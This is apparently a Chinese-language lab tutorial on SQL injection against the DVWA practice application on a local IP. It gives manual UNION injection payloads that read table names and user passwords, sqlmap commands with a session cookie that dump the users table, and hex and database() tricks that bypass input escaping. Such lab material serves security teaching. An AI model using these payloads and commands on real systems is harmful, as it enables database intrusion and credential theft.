一:怎么判断SQL注入漏洞
输入以下语句:
1'and 1=1#
输入上面的语句有正常输出,对于“#”的作用是注释后续SQL语句
而对于以下语句,可以发现没有语句,SQL语句变化,1 != 2,不能得到输出
1'and 1=2#
对于以上两个语句,1=1会正常输出,而1=2 错误输出,可以说明SQL语句生效,SQL语句存在漏洞。
二:怎么利用SQL注入漏洞
步骤一:判断列/字段数,利用语句 order by [列/字段数]
输入以下语句:
1' order by 1#
1' order by 2#
1' order by 3#
对于上面三句语句,依次进行判断,可以得到
输入1' order by 1#得到
输入1' order by 2# 得到
输入1' order by 3# 得到
所以得到这个数据库的表只有两列/两个字段
步骤二:联合查询其他信息
用户输入SQL语句,执行了MySQL内置函数user(),database()
其中user()返回当前数据库连接用户,database()返回当前数据库名称
输入以下语句
1' union select user(),database()#
步骤三:联合查询表
输入以下语句
1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#
步骤四:联合查询信息
输入以下语句
1' union select uesr,password from user#
三:SQLmap自动化SQL注入利用过程
步骤一:检测漏洞
在输入框中任意写入一个数据1,拷贝上面的链接为
http://192.168.177.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
接着按f12进入到开发者模式,点击Network (网络),然后点击Reload(重新加载)
点击第一个,找到cookie,复制下来,即是以下语句
security=low; PHPSESSID=j6not3p5vj7kkh3j8kdtncj745; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
输入语句
sqlmap -u "http://192.168.177.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=j6not3p5vj7kkh3j8kdtncj745; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada"
可以得到
步骤二:获取数据库名
输入以下语句
sqlmap -u "http://192.168.177.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=j6not3p5vj7kkh3j8kdtncj745; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --dbs
可以得到
可以看到有两个数据库
步骤三:或者指定数据库表
输入以下语句
sqlmap -u "http://192.168.177.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=j6not3p5vj7kkh3j8kdtncj745; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa --tables
其中
-D:Database指定想要获取的数据库名为dvwa
--tables:列出数据库表
得到
步骤四:获取指定数据库列/表项
输入以下语句
sqlmap -u "http://192.168.177.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=j6not3p5vj7kkh3j8kdtncj745; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users --columns
其中
-T:Table指定想要获取的名为users,
--column:列出表项/列
得到
步骤五:获取数据
输入以下语句
sqlmap -u "http://192.168.177.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=j6not3p5vj7kkh3j8kdtncj745; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users --dump
--dump:代表获取数据
可以得到:
三:SQL injection防御--过滤用户输入内容,不让输入sql语句
原理:将特殊符号替换成空,或判断用户输入sql语句就终止执行
将DVWA等级换成medium(转移了特殊字符)
上面语句为原本的SQL语句,下面语句为过滤后的语句
1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#
1\' union select table_name,table_schema from information_schema.tables where table_schema=\'dvwa\'#
SQL语句错了,没有'\'符号
两种解决办法:
方法一:将dvwa替换成database()
1' union select table_name,table_schema from information_schema.tables where table_schema=database()#
方法二:将dvwa替换成十六进制格式
1' union select table_name,table_schema from information_schema.tables where table_schema=0x64767761#
将DVWA等级换成high等级
DVWA high防御中缺少传入数据的过滤,无法防御注入漏洞